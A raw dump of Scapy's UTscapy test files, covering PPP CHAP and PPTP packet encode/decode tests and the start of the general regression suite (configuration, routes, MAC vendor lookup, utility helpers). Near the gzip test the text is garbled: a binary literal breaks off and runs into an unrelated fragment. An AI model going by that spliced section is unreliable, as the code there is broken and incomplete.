raw(chap_success) == chap_success_ref_data chap_success_pkt = PPP(chap_success_ref_data) assert PPP_CHAP in chap_success_pkt assert chap_success_pkt[PPP_CHAP].code == 3 assert chap_success_pkt[PPP_CHAP].id == 47 assert chap_success_pkt[PPP_CHAP].data == b'' assert chap_success_pkt[PPP_CHAP].summary() in ['CHAP Success message=\'\'', 'CHAP Success message=b\'\''] chap_response_pkt = PPP(hex_bytes('c223022f001b1000000000000000000000000000000000636c69656e74')) assert chap_success_pkt.answers(chap_response_pkt) assert not chap_response_pkt.answers(chap_success_pkt) = Test PPP CHAP Failure ~ ppp chap chap_failure chap_failure = PPP() / PPP_CHAP(code='Failure', id=47, data='Go away') chap_failure_ref_data = hex_bytes('c223042f000b476f2061776179') assert raw(chap_failure) == chap_failure_ref_data chap_failure_pkt = PPP(chap_failure_ref_data) assert PPP_CHAP in chap_failure_pkt assert chap_failure_pkt[PPP_CHAP].code == 4 assert chap_failure_pkt[PPP_CHAP].id == 47 assert chap_failure_pkt[PPP_CHAP].data == b'Go away' assert chap_failure_pkt[PPP_CHAP].summary() in ['CHAP Failure message=\'Go away\'', 'CHAP Failure message=b\'Go away\''] chap_response_pkt = PPP(hex_bytes('c223022f001b1000000000000000000000000000000000636c69656e74')) assert chap_failure_pkt.answers(chap_response_pkt) assert not chap_failure_pkt.answers(chap_success_pkt) + PPTP Tests = Test PPTP Start-Control-Connection-Request ~ pptp start_control_connection = PPTPStartControlConnectionRequest(framing_capabilities='Asynchronous Framing supported', bearer_capabilities='Digital access supported', maximum_channels=42, firmware_revision=47, host_name='test host name', vendor_string='test vendor string') start_control_connection_ref_data = hex_bytes('009c00011a2b3c4d00010000010000000000000100000002002a00'\ '2f7465737420686f7374206e616d65000000000000000000000000'\ '000000000000000000000000000000000000000000000000000000'\ '0000000000000000000000746573742076656e646f722073747269'\ '6e6700000000000000000000000000000000000000000000000000'\ '000000000000000000000000000000000000000000') assert raw(start_control_connection) == start_control_connection_ref_data start_control_connection_pkt = PPTP(start_control_connection_ref_data) assert isinstance(start_control_connection_pkt, PPTPStartControlConnectionRequest) assert start_control_connection_pkt.magic_cookie == 0x1a2b3c4d assert start_control_connection_pkt.protocol_version == 0x0100 assert start_control_connection_pkt.framing_capabilities == 1 assert start_control_connection_pkt.bearer_capabilities == 2 assert start_control_connection_pkt.maximum_channels == 42 assert start_control_connection_pkt.firmware_revision == 47 assert start_control_connection_pkt.host_name == b'test host name' + b'\0' * (64-len('test host name')) assert start_control_connection_pkt.vendor_string == b'test vendor string' + b'\0' * (64-len('test vendor string')) = Test PPTP Start-Control-Connection-Reply ~ pptp start_control_connection_reply = PPTPStartControlConnectionReply(result_code='General error', error_code='Not-Connected', framing_capabilities='Synchronous Framing supported', bearer_capabilities='Analog access supported', vendor_string='vendor') start_control_connection_reply_ref_data = hex_bytes('009c00011a2b3c4d00020000010002010000000200000001ffff0'\ '1006c696e75780000000000000000000000000000000000000000'\ '00000000000000000000000000000000000000000000000000000'\ '000000000000000000000000076656e646f720000000000000000'\ '00000000000000000000000000000000000000000000000000000'\ '00000000000000000000000000000000000000000000000') assert raw(start_control_connection_reply) == start_control_connection_reply_ref_data start_control_connection_reply_pkt = PPTP(start_control_connection_reply_ref_data) assert isinstance(start_control_connection_reply_pkt, PPTPStartControlConnectionReply) assert start_control_connection_reply_pkt.magic_cookie == 0x1a2b3c4d assert start_control_connection_reply_pkt.protocol_version == 0x0100 assert start_control_connection_reply_pkt.result_code == 2 assert start_control_connection_reply_pkt.error_code == 1 assert start_control_connection_reply_pkt.framing_capabilities == 2 assert start_control_connection_reply_pkt.bearer_capabilities == 1 assert start_control_connection_reply_pkt.host_name == b'linux' + b'\0' * (64-len('linux')) assert start_control_connection_reply_pkt.vendor_string == b'vendor' + b'\0' * (64-len('vendor')) start_control_connection_request = PPTPStartControlConnectionRequest() assert start_control_connection_reply_pkt.answers(start_control_connection_request) assert not start_control_connection_request.answers(start_control_connection_reply_pkt) = Test PPTP Stop-Control-Connection-Request ~ pptp stop_control_connection = PPTPStopControlConnectionRequest(reason='Stop-Local-Shutdown') stop_control_connection_ref_data = hex_bytes('001000011a2b3c4d0003000003000000') assert raw(stop_control_connection) == stop_control_connection_ref_data stop_control_connection_pkt = PPTP(stop_control_connection_ref_data) assert isinstance(stop_control_connection_pkt, PPTPStopControlConnectionRequest) assert stop_control_connection_pkt.magic_cookie == 0x1a2b3c4d assert stop_control_connection_pkt.reason == 3 = Test PPTP Stop-Control-Connection-Reply ~ pptp stop_control_connection_reply = PPTPStopControlConnectionReply(result_code='General error',error_code='PAC-Error') stop_control_connection_reply_ref_data = hex_bytes('001000011a2b3c4d0004000002060000') assert raw(stop_control_connection_reply) == stop_control_connection_reply_ref_data stop_control_connection_reply_pkt = PPTP(stop_control_connection_reply_ref_data) assert isinstance(stop_control_connection_reply_pkt, PPTPStopControlConnectionReply) assert stop_control_connection_reply_pkt.magic_cookie == 0x1a2b3c4d assert stop_control_connection_reply_pkt.result_code == 2 assert stop_control_connection_reply_pkt.error_code == 6 stop_control_connection_request = PPTPStopControlConnectionRequest() assert stop_control_connection_reply_pkt.answers(stop_control_connection_request) assert not stop_control_connection_request.answers(stop_control_connection_reply_pkt) = Test PPTP Echo-Request ~ pptp echo_request = PPTPEchoRequest(identifier=42) echo_request_ref_data = hex_bytes('001000011a2b3c4d000500000000002a') assert raw(echo_request) == echo_request_ref_data echo_request_pkt = PPTP(echo_request_ref_data) assert isinstance(echo_request_pkt, PPTPEchoRequest) assert echo_request_pkt.magic_cookie == 0x1a2b3c4d assert echo_request_pkt.identifier == 42 = Test PPTP Echo-Reply ~ pptp echo_reply = PPTPEchoReply(identifier=42, result_code='OK') echo_reply_ref_data = hex_bytes('001400011a2b3c4d000600000000002a01000000') assert raw(echo_reply) == echo_reply_ref_data echo_reply_pkt = PPTP(echo_reply_ref_data) assert isinstance(echo_reply_pkt, PPTPEchoReply) assert echo_reply_pkt.magic_cookie == 0x1a2b3c4d assert echo_reply_pkt.identifier == 42 assert echo_reply_pkt.result_code == 1 assert echo_reply_pkt.error_code == 0 echo_request = PPTPEchoRequest(identifier=42) assert echo_reply_pkt.answers(echo_request) assert not echo_request.answers(echo_reply) echo_request_incorrect = PPTPEchoRequest(identifier=47) assert not echo_reply_pkt.answers(echo_request_incorrect) assert not echo_request_incorrect.answers(echo_reply_pkt) = Test PPTP Outgoing-Call-Request ~ pptp outgoing_call = PPTPOutgoingCallRequest(call_id=4242, call_serial_number=47, minimum_bps=1000, maximum_bps=10000, bearer_type='Digital channel', pkt_window_size=16, pkt_proc_delay=1, phone_number_len=9, phone_number='123456789', subaddress='test') outgoing_call_ref_data = hex_bytes('00a800011a2b3c4d000700001092002f000003e8000027100000000200'\ '0000030010000100090000313233343536373839000000000000000000'\ '0000000000000000000000000000000000000000000000000000000000'\ '0000000000000000000000000000000000746573740000000000000000'\ '0000000000000000000000000000000000000000000000000000000000'\ '0000000000000000000000000000000000000000000000') assert raw(outgoing_call) == outgoing_call_ref_data outgoing_call_pkt = PPTP(outgoing_call_ref_data) assert isinstance(outgoing_call_pkt, PPTPOutgoingCallRequest) assert outgoing_call_pkt.magic_cookie == 0x1a2b3c4d assert outgoing_call_pkt.call_id == 4242 assert outgoing_call_pkt.call_serial_number == 47 assert outgoing_call_pkt.minimum_bps == 1000 assert outgoing_call_pkt.maximum_bps == 10000 assert outgoing_call_pkt.bearer_type == 2 assert outgoing_call_pkt.framing_type == 3 assert outgoing_call_pkt.pkt_window_size == 16 assert outgoing_call_pkt.pkt_proc_delay == 1 assert outgoing_call_pkt.phone_number_len == 9 assert outgoing_call_pkt.phone_number == b'123456789' + b'\0' * (64-len('123456789')) assert outgoing_call_pkt.subaddress == b'test' + b'\0' * (64-len('test')) = Test PPTP Outgoing-Call-Reply ~ pptp outgoing_call_reply = PPTPOutgoingCallReply(call_id=4243, peer_call_id=4242, result_code='Busy', error_code='No-Resource', cause_code=42, connect_speed=5000, pkt_window_size=32, pkt_proc_delay=3, channel_id=42) outgoing_call_reply_ref_data = hex_bytes('002000011a2b3c4d00080000109310920404002a00001388002000030000002a') assert raw(outgoing_call_reply) == outgoing_call_reply_ref_data outgoing_call_reply_pkt = PPTP(outgoing_call_reply_ref_data) assert isinstance(outgoing_call_reply_pkt, PPTPOutgoingCallReply) assert outgoing_call_reply_pkt.magic_cookie == 0x1a2b3c4d assert outgoing_call_reply_pkt.call_id == 4243 assert outgoing_call_reply_pkt.peer_call_id == 4242 assert outgoing_call_reply_pkt.result_code == 4 assert outgoing_call_reply_pkt.error_code == 4 assert outgoing_call_reply_pkt.cause_code == 42 assert outgoing_call_reply_pkt.connect_speed == 5000 assert outgoing_call_reply_pkt.pkt_window_size == 32 assert outgoing_call_reply_pkt.pkt_proc_delay == 3 assert outgoing_call_reply_pkt.channel_id == 42 outgoing_call_request = PPTPOutgoingCallRequest(call_id=4242) assert outgoing_call_reply_pkt.answers(outgoing_call_request) assert not outgoing_call_request.answers(outgoing_call_reply_pkt) outgoing_call_request_incorrect = PPTPOutgoingCallRequest(call_id=5656) assert not outgoing_call_reply_pkt.answers(outgoing_call_request_incorrect) assert not outgoing_call_request_incorrect.answers(outgoing_call_reply_pkt) = Test PPTP Incoming-Call-Request ~ pptp incoming_call = PPTPIncomingCallRequest(call_id=4242, call_serial_number=47, bearer_type='Digital channel', channel_id=12, dialed_number_len=9, dialing_number_len=10, dialed_number='123456789', dialing_number='0123456789', subaddress='test') incoming_call_ref_data = hex_bytes('00dc00011a2b3c4d000900001092002f000000020000000c0009000a313233343536373839'\ '00000000000000000000000000000000000000000000000000000000000000000000000000'\ '00000000000000000000000000000000000030313233343536373839000000000000000000'\ '00000000000000000000000000000000000000000000000000000000000000000000000000'\ '00000000000000007465737400000000000000000000000000000000000000000000000000'\ '0000000000000000000000000000000000000000000000000000000000000000000000') assert raw(incoming_call) == incoming_call_ref_data incoming_call_pkt = PPTP(incoming_call_ref_data) assert isinstance(incoming_call_pkt, PPTPIncomingCallRequest) assert incoming_call_pkt.magic_cookie == 0x1a2b3c4d assert incoming_call_pkt.call_id == 4242 assert incoming_call_pkt.call_serial_number == 47 assert incoming_call_pkt.bearer_type == 2 assert incoming_call_pkt.channel_id == 12 assert incoming_call_pkt.dialed_number_len == 9 assert incoming_call_pkt.dialing_number_len == 10 assert incoming_call_pkt.dialed_number == b'123456789' + b'\0' * (64-len('123456789')) assert incoming_call_pkt.dialing_number == b'0123456789' + b'\0' * (64-len('0123456879')) assert incoming_call_pkt.subaddress == b'test' + b'\0' * (64-len('test')) = Test PPTP Incoming-Call-Reply ~ pptp incoming_call_reply = PPTPIncomingCallReply(call_id=4243, peer_call_id=4242, result_code='Connected', error_code='None', pkt_window_size=16, pkt_transmit_delay=42) incoming_call_reply_ref_data = hex_bytes('009400011a2b3c4d000a00001093109201000010002a0000') assert raw(incoming_call_reply) == incoming_call_reply_ref_data incoming_call_reply_pkt = PPTP(incoming_call_reply_ref_data) assert isinstance(incoming_call_reply_pkt, PPTPIncomingCallReply) assert incoming_call_reply_pkt.magic_cookie == 0x1a2b3c4d assert incoming_call_reply_pkt.call_id == 4243 assert incoming_call_reply_pkt.peer_call_id == 4242 assert incoming_call_reply_pkt.result_code == 1 assert incoming_call_reply_pkt.error_code == 0 assert incoming_call_reply_pkt.pkt_window_size == 16 assert incoming_call_reply_pkt.pkt_transmit_delay == 42 incoming_call_req = PPTPIncomingCallRequest(call_id=4242) assert incoming_call_reply_pkt.answers(incoming_call_req) assert not incoming_call_req.answers(incoming_call_reply) incoming_call_req_incorrect = PPTPIncomingCallRequest(call_id=4343) assert not incoming_call_reply_pkt.answers(incoming_call_req_incorrect) assert not incoming_call_req_incorrect.answers(incoming_call_reply_pkt) = Test PPTP Incoming-Call-Connected ~ pptp incoming_call_connected = PPTPIncomingCallConnected(peer_call_id=4242, connect_speed=47474747, pkt_window_size=16, pkt_transmit_delay=7, framing_type='Any type of framing') incoming_call_connected_ref_data = hex_bytes('001c00011a2b3c4d000b00001092000002d4683b0010000700000003') assert raw(incoming_call_connected) == incoming_call_connected_ref_data incoming_call_connected_pkt = PPTP(incoming_call_connected_ref_data) assert isinstance(incoming_call_connected_pkt, PPTPIncomingCallConnected) assert incoming_call_connected_pkt.magic_cookie == 0x1a2b3c4d assert incoming_call_connected_pkt.peer_call_id == 4242 assert incoming_call_connected_pkt.connect_speed == 47474747 assert incoming_call_connected_pkt.pkt_window_size == 16 assert incoming_call_connected_pkt.pkt_transmit_delay == 7 assert incoming_call_connected_pkt.framing_type == 3 incoming_call_reply = PPTPIncomingCallReply(call_id=4242) assert incoming_call_connected_pkt.answers(incoming_call_reply) assert not incoming_call_reply.answers(incoming_call_connected_pkt) incoming_call_reply_incorrect = PPTPIncomingCallReply(call_id=4243) assert not incoming_call_connected_pkt.answers(incoming_call_reply_incorrect) assert not incoming_call_reply_incorrect.answers(incoming_call_connected_pkt) = Test PPTP Call-Clear-Request ~ pptp call_clear_request = PPTPCallClearRequest(call_id=4242) call_clear_request_ref_data = hex_bytes('001000011a2b3c4d000c000010920000') assert raw(call_clear_request) == call_clear_request_ref_data call_clear_request_pkt = PPTP(call_clear_request_ref_data) assert isinstance(call_clear_request_pkt, PPTPCallClearRequest) assert call_clear_request_pkt.magic_cookie == 0x1a2b3c4d assert call_clear_request_pkt.call_id == 4242 = Test PPTP Call-Disconnect-Notify ~ pptp call_disconnect_notify = PPTPCallDisconnectNotify(call_id=4242, result_code='Admin Shutdown', error_code='None', cause_code=47, call_statistic='some description') call_disconnect_notify_ref_data = hex_bytes('009400011a2b3c4d000d000010920300002f0000736f6d65206465736372697074696'\ 'f6e000000000000000000000000000000000000000000000000000000000000000000'\ '000000000000000000000000000000000000000000000000000000000000000000000'\ '000000000000000000000000000000000000000000000000000000000000000000000'\ '00000000000000000000') assert raw(call_disconnect_notify) == call_disconnect_notify_ref_data call_disconnect_notify_pkt = PPTP(call_disconnect_notify_ref_data) assert isinstance(call_disconnect_notify_pkt, PPTPCallDisconnectNotify) assert call_disconnect_notify_pkt.magic_cookie == 0x1a2b3c4d assert call_disconnect_notify_pkt.call_id == 4242 assert call_disconnect_notify_pkt.result_code == 3 assert call_disconnect_notify_pkt.error_code == 0 assert call_disconnect_notify_pkt.cause_code == 47 assert call_disconnect_notify_pkt.call_statistic == b'some description' + b'\0' * (128-len('some description')) = Test PPTP WAN-Error-Notify ~ pptp wan_error_notify = PPTPWANErrorNotify(peer_call_id=4242, crc_errors=1, framing_errors=2, hardware_overruns=3, buffer_overruns=4, time_out_errors=5, alignment_errors=6) wan_error_notify_ref_data = hex_bytes('002800011a2b3c4d000e000010920000000000010000000200000003000000040000000500000006') assert raw(wan_error_notify) == wan_error_notify_ref_data wan_error_notify_pkt = PPTP(wan_error_notify_ref_data) assert isinstance(wan_error_notify_pkt, PPTPWANErrorNotify) assert wan_error_notify_pkt.magic_cookie == 0x1a2b3c4d assert wan_error_notify_pkt.peer_call_id == 4242 assert wan_error_notify_pkt.crc_errors == 1 assert wan_error_notify_pkt.framing_errors == 2 assert wan_error_notify_pkt.hardware_overruns == 3 assert wan_error_notify_pkt.buffer_overruns == 4 = Test PPTP Set-Link-Info ~ pptp set_link_info = PPTPSetLinkInfo(peer_call_id=4242, send_accm=0x0f0f0f0f, receive_accm=0xf0f0f0f0) set_link_info_ref_data = hex_bytes('001800011a2b3c4d000f0000109200000f0f0f0ff0f0f0f0') assert raw(set_link_info) == set_link_info_ref_data set_link_info_pkt = PPTP(set_link_info_ref_data) assert isinstance(set_link_info_pkt, PPTPSetLinkInfo) assert set_link_info_pkt.magic_cookie == 0x1a2b3c4d assert set_link_info_pkt.peer_call_id == 4242 assert set_link_info_pkt.send_accm == 0x0f0f0f0f assert set_link_info_pkt.receive_accm == 0xf0f0f0f0 scapy-2.4.4/test/regression.uts000066400000000000000000023661721372370053500165620ustar00rootroot00000000000000% Regression tests for Scapy # More information at http://www.secdev.org/projects/UTscapy/ ############ ############ + Information on Scapy = Setup def expect_exception(e, c): try: c() return False except e: return True = Get conf ~ conf command * Dump the current configuration conf IP().src conf.loopback_name = Test module version detection ~ conf class FakeModule(object): __version__ = "v1.12" class FakeModule2(object): __version__ = "5.143.3.12" class FakeModule3(object): __version__ = "v2.4.2.dev42" from scapy.config import _version_checker assert _version_checker(FakeModule, (1,11,5)) assert not _version_checker(FakeModule, (1,13)) assert _version_checker(FakeModule2, (5, 1)) assert not _version_checker(FakeModule2, (5, 143, 4)) assert _version_checker(FakeModule3, (2, 4, 2)) = List layers ~ conf command ls() = List layers - advanced ~ conf command with ContextManagerCaptureOutput() as cmco: ls("IP", case_sensitive=True) result_ls = cmco.get_output().split("\n") assert all("IP" in x for x in result_ls if x.strip()) assert len(result_ls) >= 3 = List commands ~ conf command lsc() = List contribs ~ command def test_list_contrib(): with ContextManagerCaptureOutput() as cmco: list_contrib() result_list_contrib = cmco.get_output() assert("http2 : HTTP/2 (RFC 7540, RFC 7541) status=loads" in result_list_contrib) assert(len(result_list_contrib.split('\n')) > 40) test_list_contrib() = Test automatic doc generation ~ command dat = rfc(IP, ret=True).split("\n") assert dat[0].replace(" ", "").strip() == "0123" assert "0123456789" in dat[1].replace(" ", "") for l in dat: # only upper case and +- assert re.match(r"[A-Z+-]*", l) # Add a space before each + to avoid conflicts with UTscapy ! # They will be stripped below result = """ 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |VERSION| IHL | TOS | LEN | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | ID |FLAGS| FRAG | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | TTL | PROTO | CHKSUM | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | SRC | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | DST | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | OPTIONS | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Fig. IP """.strip() result = [x.strip() for x in result.split("\n")] output = [x.strip() for x in rfc(IP, ret=True).strip().split("\n")] assert result == output = Check that all contrib modules are well-configured ~ command list_contrib(_debug=True) = Configuration ~ conf conf.debug_dissector = True = Configuration conf.use_* LINUX ~ linux try: conf.use_bpf = True assert False except: True assert not conf.use_bpf if not conf.use_pcap: a = six.moves.builtins.__dict__ conf.interactive = True conf.use_pcap = True assert a["get_if_list"] == scapy.arch.pcapdnet.get_if_list conf.use_pcap = False assert a["get_if_list"] == scapy.arch.linux.get_if_list conf.interactive = False = Configuration conf.use_* WINDOWS ~ windows try: conf.use_bpf = True assert False except: True assert not conf.use_bpf = Test layer filtering ~ filter pkt = NetflowHeader()/NetflowHeaderV5()/NetflowRecordV5() conf.layers.filter([NetflowHeader, NetflowHeaderV5]) assert NetflowRecordV5 not in NetflowHeader(bytes(pkt)) conf.layers.unfilter() assert NetflowRecordV5 in NetflowHeader(bytes(pkt)) ########### ########### = UTscapy route check * Check that UTscapy has correctly replaced the routes. Many tests won't work otherwise p = IP().src p assert p == "127.0.0.1" ############ ############ + Scapy functions tests = Interface related functions conf.iface get_if_raw_hwaddr(conf.iface) bytes_hex(get_if_raw_addr(conf.iface)) def get_dummy_interface(): """Returns a dummy network interface""" if WINDOWS: data = {} data["name"] = "dummy0" data["description"] = "Does not exist" data["win_index"] = -1 data["guid"] = "{1XX00000-X000-0X0X-X00X-00XXXX000XXX}" data["invalid"] = True data["ipv4_metric"] = 1 data["ipv6_metric"] = 1 data["mac"] = "00:00:00:00:00:00" data["ips"] = ["127.0.0.1", "::1"] data["pcap_name"] = "\\Device\\NPF_" + data["guid"] data["flags"] = 0 return NetworkInterface(data) else: return "dummy0" get_if_raw_addr(get_dummy_interface()) get_if_list() get_working_if() get_if_raw_addr6(conf.iface) = Test read_routes6() - default output routes6 = read_routes6() if WINDOWS: from scapy.arch.windows import _route_add_loopback _route_add_loopback(routes6, True) routes6 # Expected results: # - one route if there is only the loopback interface # - one route if IPv6 is supported but disabled on network interfaces # - three routes if there is a network interface # - on OpenBSD, only two routes on lo0 are expected if routes6: iflist = get_if_list() if WINDOWS: from scapy.arch.windows import _route_add_loopback _route_add_loopback(ipv6=True, iflist=iflist) if OPENBSD: len(routes6) >= 2 elif iflist == [conf.loopback_name]: len(routes6) == 1 elif len(iflist) >= 2: len(routes6) >= 1 else: False else: # IPv6 seems disabled. Force a route to ::1 conf.route6.routes.append(("::1", 128, "::", conf.loopback_name, ["::1"], 1)) conf.route6.ipv6_ifaces = set([conf.loopback_name]) True = Test read_routes6() - check mandatory routes conf.route6 # Doesn't pass on Travis Bionic XXX if len(routes6) > 2 and not WINDOWS: assert(sum(1 for r in routes6 if r[0] == "::1" and r[4] == ["::1"]) >= 1) if not OPENBSD and len(iflist) >= 2: assert sum(1 for r in routes6 if r[0] == "fe80::" and r[1] == 64) >= 1 try: assert sum(1 for r in routes6 if in6_islladdr(r[0]) and r[1] == 128 and r[4] == ["::1"]) >= 1 except: # IPv6 is not available, but we still check the loopback assert conf.route6.route("::/0") == (conf.loopback_name, "::", "::") assert sum(1 for r in routes6 if r[1] == 128 and r[4] == ["::1"]) >= 1 else: True = Test ifchange() conf.route6.ifchange(conf.loopback_name, "::1/128") if WINDOWS: conf.netcache.in6_neighbor["::1"] = "ff:ff:ff:ff:ff:ff" # Restore fake cache True = Packet.route() assert (Ether() / ARP()).route()[0] is not None assert (Ether() / ARP()).payload.route()[0] is not None assert (ARP(ptype=0, pdst="hello. this isn't a valid IP")).route()[0] is None = plain_str test data = b"\xffsweet\xef celestia\xab" if not six.PY2: # Only Python 3 has to deal with Str/Bytes conversion, # as we don't use Python 2's unicode if sys.version_info[0:2] <= (3, 4): # Python3.4 can only ignore unknown special characters assert plain_str(data) == "sweet celestia" else: # Python >3.4 can replace them with a backslash representation assert plain_str(data) == "\\xffsweet\\xef celestia\\xab" else: assert plain_str(data) == "\xffsweet\xef celestia\xab" ############ ############ + compat.py = test bytes_hex/hex_bytes monty_data = b"Stop! Who approaches the Bridge of Death must answer me these questions three, 'ere the other side he see." hex_data = bytes_hex(monty_data) assert hex_data == b'53746f70212057686f20617070726f61636865732074686520427269646765206f66204465617468206d75737420616e73776572206d65207468657365207175657374696f6e732074687265652c202765726520746865206f746865722073696465206865207365652e' assert hex_bytes(hex_data) == monty_data = test gzip_decompress/gzip_compress from scapy.compat import gzip_compress, gzip_decompress gziped_data = b"\x1f\x8b\x08\x00N\xf5\xd7\\\x02\xff\x1d\x8b9\x0e\x800\x0c\x04\xbf\xb2T4\x88G ~@A\x1d\x91\x85\xa4H\x1cl#\xbe\xcf\xd1\xac4\x9a\xd9\xc5\xa5uX\x93 \xb4\xa6\x12\xb6D\x83'b\xd2\x1c\x0fBv\xcc\x0c\x9eP.s\x84j7\x15\x85_b\xc4y\xd1 ff:ff:ff:ff:ff:ff (%s)' % loop for loop in ['0x9000', 'LOOP']] = Test zerofree_randstring function random.seed(0x2807) zerofree_randstring(4) in [b"\xd2\x12\xe4\x5b", b'\xd3\x8b\x13\x12'] = Test strand function assert strand("AC", "BC") == b'@C' = Test export_object and import_object functions import mock def test_export_import_object(): with ContextManagerCaptureOutput() as cmco: export_object(2807) result_export_object = cmco.get_output(eval_bytes=True) assert(result_export_object.startswith("eNprYPL9zqUHAAdrAf8=")) assert(import_object(result_export_object) == 2807) test_export_import_object() = Test tex_escape function tex_escape("$#_") == "\\$\\#\\_" = Test colgen function f = colgen(range(3)) assert(len([next(f) for i in range(2)]) == 2) = Test incremental_label function f = incremental_label() assert([next(f) for i in range(2)] == ["tag00000", "tag00001"]) = Test corrupt_* functions import random random.seed(0x2807) assert(corrupt_bytes("ABCDE") in [b"ABCDW", b"ABCDX"]) assert(sane(corrupt_bytes("ABCDE", n=3)) in ["A.8D4", ".2.DE"]) assert(corrupt_bits("ABCDE") in [b"EBCDE", b"ABCDG"]) assert(sane(corrupt_bits("ABCDE", n=3)) in ["AF.EE", "QB.TE"]) = Test save_object and load_object functions import tempfile fd, fname = tempfile.mkstemp() save_object(fname, 2807) assert(load_object(fname) == 2807) = Test whois function ~ netaccess if not WINDOWS: result = whois("193.0.6.139") assert(b"inetnum" in result and b"Amsterdam" in result) = Test manuf DB methods ~ manufdb assert(conf.manufdb._resolve_MAC("00:00:0F:01:02:03") == "Next:01:02:03") assert(conf.manufdb._get_short_manuf("00:00:0F:01:02:03") == "Next") assert(in6_addrtovendor("fe80::0200:0fff:fe01:0203").lower().startswith("next")) assert conf.manufdb.lookup("00:00:0F:01:02:03") == ('Next', 'Next, Inc.') assert "00:00:0F" in conf.manufdb.reverse_lookup("Next") = Test multiple wireshark's manuf formats ~ manufdb new_format = """ # comment 00:00:00 JokyIsland Joky Insland Corp SA 00:01:12 SecdevCorp Secdev Corporation SA LLC EE:05:01 Scapy Scapy CO LTD & CIE FF:00:11 NoName """ old_format = """ # comment 00:00:00 JokyIsland # Joky Insland Corp SA 00:01:12 SecdevCorp # Secdev Corporation SA LLC EE:05:01 Scapy # Scapy CO LTD & CIE FF:00:11 NoName """ manuf1 = get_temp_file() manuf2 = get_temp_file() with open(manuf1, "w") as w: w.write(old_format) with open(manuf2, "w") as w: w.write(new_format) a = load_manuf(manuf1) b = load_manuf(manuf2) a.lookup("00:00:00") == ('JokyIsland', 'Joky Insland Corp SA'), a.lookup("FF:00:11:00:00:00") == ('NoName', 'NoName') a.reverse_lookup("Scapy") == {'EE:05:01': ('Scapy', 'Scapy CO LTD & CIE')} a.reverse_lookup("Secdevcorp") == {'00:01:12': ('SecdevCorp', 'Secdev Corporation SA LLC')} b.lookup("00:00:00") == ('JokyIsland', 'Joky Insland Corp SA'), b.lookup("FF:00:11:00:00:00") == ('NoName', 'NoName') b.reverse_lookup("Scapy") == {'EE:05:01': ('Scapy', 'Scapy CO LTD & CIE')} b.reverse_lookup("Secdevcorp") == {'00:01:12': ('SecdevCorp', 'Secdev Corporation SA LLC')} scapy_delete_temp_files() = Test load_services data_services = """ cvsup 5999/udp # CVSup x11 6000-6063/tcp # X Window System x11 6000-6063/udp # X Window System ndl-ahp-svc 6064/tcp # NDL-AHP-SVC """ services = get_temp_file() with open(services, "w") as w: w.write(data_services) tcp, udp = load_services(services) assert tcp[6002] == "x11" assert tcp.ndl_ahp_svc == 6064 assert tcp.x11 in range(6000, 6093) assert udp[6002] == "x11" assert udp.x11 in range(6000, 6093) assert udp.cvsup == 5999 scapy_delete_temp_files() = Test ARPingResult output ~ manufdb ar = ARPingResult([(None, Ether(src='70:ee:50:50:ee:70')/ARP(psrc='192.168.0.1'))]) with ContextManagerCaptureOutput() as cmco: ar.show() result_ar = cmco.get_output() assert result_ar.startswith(" 70:ee:50:50:ee:70 Netatmo 192.168.0.1") = Test utility functions - network related ~ netaccess atol("www.secdev.org") == 3642339845 = Test autorun functions ret = autorun_get_text_interactive_session("IP().src") assert(ret == (">>> IP().src\n'127.0.0.1'\n", '127.0.0.1')) ret = autorun_get_html_interactive_session("IP().src") assert(ret == (">>> IP().src\n'127.0.0.1'\n", '127.0.0.1')) ret = autorun_get_latex_interactive_session("IP().src") assert(ret == ("\\textcolor{blue}{{\\tt\\char62}{\\tt\\char62}{\\tt\\char62} }IP().src\n'127.0.0.1'\n", '127.0.0.1')) ret = autorun_get_text_interactive_session("scapy_undefined") assert "NameError" in ret[0] = Test utility TEX functions assert tex_escape("{scapy}\\^$~#_&%|><") == "{\\tt\\char123}scapy{\\tt\\char125}{\\tt\\char92}\\^{}\\${\\tt\\char126}\\#\\_\\&\\%{\\tt\\char124}{\\tt\\char62}{\\tt\\char60}" a = colgen(1, 2, 3) assert next(a) == (1, 2, 2) assert next(a) == (1, 3, 3) assert next(a) == (2, 2, 1) assert next(a) == (2, 3, 2) assert next(a) == (2, 1, 3) assert next(a) == (3, 3, 1) assert next(a) == (3, 1, 2) assert next(a) == (3, 2, 3) = Test config file functions saved_conf_verb = conf.verb fd, fname = tempfile.mkstemp() os.write(fd, b"conf.verb = 42\n") os.close(fd) from scapy.main import _read_config_file _read_config_file(fname, globals(), locals()) assert(conf.verb == 42) conf.verb = saved_conf_verb = Test config file functions failures from scapy.main import _probe_config_file assert _probe_config_file("filethatdoesnotexistnorwillever.tsppajfsrdrr") is None = Test CacheInstance repr conf.netcache = Test pyx detection functions from scapy.extlib import _test_pyx assert _test_pyx() == False = Test matplotlib detection functions from mock import MagicMock, patch bck_scapy_ext_lib = sys.modules.get("scapy.extlib", None) del(sys.modules["scapy.extlib"]) mock_matplotlib = MagicMock() mock_matplotlib.get_backend.return_value = "inline" mock_matplotlib.pyplot = MagicMock() mock_matplotlib.pyplot.plt = None with patch.dict("sys.modules", **{ "matplotlib": mock_matplotlib, "matplotlib.lines": mock_matplotlib}): from scapy.extlib import MATPLOTLIB, MATPLOTLIB_INLINED, MATPLOTLIB_DEFAULT_PLOT_KARGS, Line2D assert MATPLOTLIB == 1 assert MATPLOTLIB_INLINED == 1 assert "marker" in MATPLOTLIB_DEFAULT_PLOT_KARGS mock_matplotlib.get_backend.return_value = "ko" with patch.dict("sys.modules", **{ "matplotlib": mock_matplotlib, "matplotlib.lines": mock_matplotlib}): from scapy.extlib import MATPLOTLIB, 